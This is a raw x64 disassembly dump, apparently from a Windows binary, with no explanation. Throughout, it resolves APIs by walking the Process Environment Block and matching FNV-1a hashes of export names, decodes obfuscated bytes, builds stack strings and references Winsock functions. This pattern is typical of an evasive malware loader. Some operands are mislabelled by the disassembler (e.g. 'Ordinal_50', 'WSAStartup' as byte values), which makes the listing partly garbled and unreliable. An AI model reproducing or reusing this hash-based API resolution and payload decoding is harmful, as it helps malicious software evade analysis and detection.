lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x140202bde
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x14020298b
movabs rcx, 0xbe1bf5d1130c2080
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x140202c66
lea rax, [r11 + 2]
cmp rdi, rax
jne 0x1402029b6
movabs rcx, 0xe11ca03dabe1bfc0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r15b
jmp 0x140202c14
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x1402029df
movabs rdx, 0x41d4aaa44b75f00
add rdx, r10
mov cl, r9b
and cl, dl
add cl, cl
mov bl, r9b
sub bl, cl
add bl, dl
jmp 0x140202ab1
lea rax, [r11 + 5]
cmp rdi, rax
jne 0x140202a0a
movabs rcx, 0x4a1e9f8376629d80
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, 0x80
jmp 0x140202bdb
lea rax, [r11 + 7]
cmp rdi, rax
jne 0x140202a37
movabs rdx, 0xb3209ec940e37b40
add rdx, r10
mov al, r9b
and al, dl
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x140202b81
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x14020265b
movabs rdx, 0xd6214935d9b91a80
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
add bl, 0x80
add bl, dl
jmp 0x140202b59
movabs rdx, 0x1c229e0f0b645900
add rdx, r10
mov al, dl
and al, r9b
add al, al
mov bl, byte [rbp + r10 + 0x10a0]
sub bl, al
jmp 0x140202bad
movabs rdx, 0x3f23487ba439f840
add rdx, r10
mov al, dl
and al, r9b
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r10 + 0x10a0]
add bl, dl
add bl, r9b
movabs rcx, 0x50a39db1f0a4c7e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
sub cl, r8b
movzx eax, cl
mov byte [rbp + r10 + 0x10a0], al
inc r11
add rax, r11
sub r10, rax
jmp 0x140202c14
movabs rdx, 0xfb89a726a8198520
jmp 0x140202b9b
movabs rcx, 0xd888fcba0f43e5e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
mov eax, 1
jmp 0x140202b89
movabs rdx, 0x9287a7e0dd98a760
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140202b59
movabs rcx, 0x4c865307abed68e0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
movabs rdx, 0xaa248d8bef98960
add rdx, r10
mov al, r9b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x10a0], cl
mov eax, 1
add r11, rax
sub r10, rax
jmp 0x140202c7a
movabs rdx, 0xe38453c1e16c8b20
add rdx, r10
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rcx, 0x2da2f34557cf28a0
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x60
add r9b, bl
add r9b, cl
mov byte [rbp + r10 + 0x10a0], r9b
add rdi, r11
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
jmp 0x140202c75
mov r9, r8
movabs rdx, 0x5781aa0f7e160e20
add rdx, r10
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0x6223f2e83d0f9780
add rcx, r10
mov al, r9b
and al, cl
add al, al
sub r9b, al
add r9b, 0x80
add r9b, cl
mov byte [rbp + r10 + 0x10a0], r9b
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r10, rax
jmp 0x140202c66
movabs rcx, 0x3480ffa2e5406ee0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
movzx eax, byte [rbp + r10 + 0x10a0]
add rax, r11
add r10, rax
mov eax, 1
add r10, rax
jmp 0x140202240
movabs rcx, 0xf4ab9ac91aa83ee0
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r8b
jmp 0x14020222b
lea rdx, [rbp + 0x1439020]
jmp 0x140202cbd
lea rdx, [rbp + 0x16e5fc0]
jmp 0x140202cbd
lea rdx, [rbp + 0x10a0]
mov r9d, r15d
mov r8, rsi
xor ecx, ecx
call r12
mov rdx, qword [0x14044bb38]
xor eax, eax
test rdx, rdx
jne 0x140202e40
mov esi, eax
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
lea r13d, [rdx + 8]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, r13w
mov word [rsp + 0x58], ax
test esi, esi
je 0x140202d47
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rdx + rax*2]
mov r9d, 0x811c9dc5
jmp 0x140202d39
movsx eax, byte [rdx]
xor eax, r9d
imul r9d, eax, 0x1000193
add rdx, 2
cmp rdx, r8
jne 0x140202d28
cmp r9d, esi
jne 0x140202e2b
mov rdi, qword [rcx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r11d, eax
add r11, rdi
shr rax, 0x20
cmp r11, rdi
je 0x140202e2b
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140202e2b
mov ebx, dword [r11 + 0x20]
mov r12d, 1
dec r10d
lea r8, [rdi + r10*4]
mov r9d, dword [r8 + rbx]
add r9, rdi
mov r8d, 0x811c9dc5
jmp 0x140202da4
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x140202d97
cmp r8d, r14d
je 0x140202dba
test r10d, r10d
jne 0x140202d81
jmp 0x140202e2b
mov r8d, dword [r11 + 0x1c]
add r8, rdi
mov edx, dword [r11 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r10*2]
mov edx, dword [r8 + rdx*4]
add rdx, rdi
cmp rdx, r11
jbe 0x140202e33
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x140202e33
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140202dfc
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140202dee
jmp 0x140202e11
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x140202e04
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x140202cf7
mov qword [0x14044bb38], rdx
mov r13d, 0x31a98fee
mov ecx, 0x99
call rdx
mov rbx, qword [0x14044bb78]
xor eax, eax
test rbx, rbx
jne 0x140202fb6
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140202ec8
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140202eba
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140202ea9
cmp r8d, esi
jne 0x140202f98
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x140202f98
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140202f98
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r11]
add r8, rdi
mov edx, 0x811c9dc5
jmp 0x140202f1c
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140202f11
cmp edx, r14d
je 0x140202f32
test r9d, r9d
jne 0x140202efc
jmp 0x140202f98
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x140202faf
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x140202faf
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x140202f8c
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x140202f69
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x140202f7f
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x140202fac
cmp qword [rbx + 0x30], rax
jne 0x140202e78
mov rbx, rax
mov qword [0x14044bb78], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14044bb70]
xor eax, eax
test rdx, rdx
jne 0x140203132
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140203044
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140203036
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140203025
cmp r8d, esi
jne 0x140203114
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140203114
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140203114
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140203098
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14020308d
cmp edx, r14d
je 0x1402030ae
test r9d, r9d
jne 0x140203078
jmp 0x140203114
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x14020312b
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14020312b
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140203108
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1402030e5
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1402030fb
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140203128
cmp qword [rdi + 0x30], rax
jne 0x140202ff4
mov rdx, rax
mov qword [0x14044bb70], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb68]
xor eax, eax
test rdx, rdx
jne 0x1402032a5
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1402031b7
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1402031a9
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140203198
cmp r8d, esi
jne 0x140203287
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140203287
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140203287
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14020320b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140203200
cmp edx, r14d
je 0x140203221
test r9d, r9d
jne 0x1402031eb
jmp 0x140203287
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x14020329e
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14020329e
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14020327b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140203258
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14020326e
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x14020329b
cmp qword [rdi + 0x30], rax
jne 0x140203167
mov rdx, rax
mov qword [0x14044bb68], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x14044bb60]
xor eax, eax
test rdx, rdx
jne 0x140203418
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14020332a
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14020331c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14020330b
cmp r8d, esi
jne 0x1402033fa
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1402033fa
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1402033fa
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14020337e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140203373
cmp edx, r14d
je 0x140203394
test r9d, r9d
jne 0x14020335e
jmp 0x1402033fa
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140203411
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140203411
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1402033ee
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1402033cb
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x1402033e1
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x14020340e
cmp qword [rdi + 0x30], rax
jne 0x1402032da
mov rdx, rax
mov qword [0x14044bb60], rdx
xor ecx, ecx
call rdx
xor ebx, ebx
cmp qword [0x14044bb58], rbx
jne 0x140203518
mov esi, ebx
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140203496
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14020348c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14020347b
cmp r8d, esi
jne 0x1402034fc
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1402034fa
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1402034fa
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1402034e2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1402034d7
cmp edx, r14d
je 0x1402035eb
test r9d, r9d
jne 0x1402034c2
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14020350e
cmp qword [rdi + 0x30], rbx
jne 0x14020344a
mov r9, rbx
mov qword [0x14044bb58], r9
mov r8, qword [0x14044bb90]
test r8, r8
jne 0x140203591
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x140203579
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140203556
cmp r8d, 0x610c0de3
je 0x140203666
mov r9, qword [r9]
cmp r9, r10
je 0x140203587
cmp qword [r9 + 0x30], rbx
jne 0x14020353b
mov r8, rbx
mov qword [0x14044bb90], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
mov r9d, ebx
mov r10d, dword [r11 + r8 + 0x20]
mov edi, 1
mov eax, r9d
lea rcx, [r10 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x1402035e6
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x1402035c6
cmp ecx, 0xe463da3c
je 0x14020366f
add r9d, edi
jmp 0x1402035aa
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x14020365f
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x14020365f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x140203639
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x140203622
add r9, rcx
xor ebx, ebx
jmp 0x140203650
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x140203640
mov rdi, qword [r15]
jmp 0x1402034fc
xor ebx, ebx
jmp 0x140203511
mov r8, qword [r9 + 0x30]
jmp 0x14020358a
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14044bb88]
test r10, r10
jne 0x140203795
mov esi, ebx
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14020370e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140203704
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1402036f3
cmp r8d, esi
jne 0x140203774
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140203772
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140203772
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x14020375a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14020374f
cmp edx, r14d
je 0x140203811
test r9d, r9d
jne 0x14020373a
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140203786
cmp qword [rdi + 0x30], rbx
jne 0x1402036c2
mov r10, rbx
mov qword [0x14044bb88], r10
mov edi, 1
lea r9, [rbp + 0x11b0]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x14044bb80]
test r8, r8
jne 0x140203929
mov esi, ebx
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1402038a7
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14020389d
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x140203885
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x140203885
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14020385f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x140203848
add r10, rcx
xor ebx, ebx
jmp 0x140203876
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x140203866
mov rdi, qword [r15]
jmp 0x140203774
xor ebx, ebx
jmp 0x140203789
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14020388c
cmp r8d, esi
jne 0x14020390d
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x14020390b
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14020390b
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1402038f3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1402038e8
cmp edx, r14d
je 0x1402039d4
test r9d, r9d
jne 0x1402038d3
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r15
je 0x14020391f
cmp qword [rdi + 0x30], rbx
jne 0x1402037d9
mov r8, rbx
mov qword [0x14044bb80], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x31e0], eax
mov eax, dword [0x14044b450]
mov dword [rbp + 0x31e4], eax
lea rdx, [rbp + 0x31e0]
lea rcx, [0x14044b4b0]
call fcn.140268370
test eax, eax
jne 0x140205e40
mov r15, qword [0x14044bb48]
test r15, r15
jne 0x140203af2
mov esi, ebx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r14, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140203a6a
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140203a60
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x140203a48
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x140203a48
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x140203a22
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x140203a0b
add r8, rcx
xor ebx, ebx
jmp 0x140203a39
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x140203a29
mov rdi, qword [r15]
jmp 0x14020390d
xor ebx, ebx
jmp 0x140203922
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140203a4f
cmp r8d, esi
jne 0x140203ad6
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140203ad4
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140203ad4
mov r11d, dword [r10 + 0x20]
mov r12d, 1
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140203abc
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x140203ab1
cmp edx, r13d
je 0x140203bd9
test r9d, r9d
jne 0x140203a9c
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r14
je 0x140203ae8
cmp qword [rdi + 0x30], rbx
jne 0x14020399c
mov r15, rbx
mov qword [0x14044bb48], r15
mov byte [rbp + 0x460], Ordinal_211
mov byte [rbp + 0x461], WSAStartup
mov byte [rbp + 0x462], 0xe6
mov byte [rbp + 0x463], WSAGetLastError
mov byte [rbp + 0x464], 0xf0
mov byte [rbp + 0x465], WSAGetLastError
mov byte [rbp + 0x466], 0xfb
mov byte [rbp + 0x467], 0x67
mov byte [rbp + 0x468], 0xea
mov byte [rbp + 0x469], 0x65
mov byte [rbp + 0x46a], Ordinal_200
mov byte [rbp + 0x46b], 0x63
mov byte [rbp + 0x46c], 0x60
mov byte [rbp + 0x46d], 0x61
xor eax, eax
mov qword [rbp + 0x46e], rax
mov dword [rbp + 0x476], eax
movabs rsi, 0x7f6e648b120d3452
mov bl, byte [rsp + 0x50]
lea r14d, [rax + 0x23]
xor r13d, r13d
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r11, qword [rax]
mov r10, r13
mov r12d, 1
cmp r10, 0x1a
jae 0x140204746
movzx r9d, byte [rbp + r10 + 0x460]
mov r8, r9
cmp rdi, r10
ja 0x14020473d
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140203c50
lea rcx, [r10 + rsi]
mov rax, r9
and rax, rcx
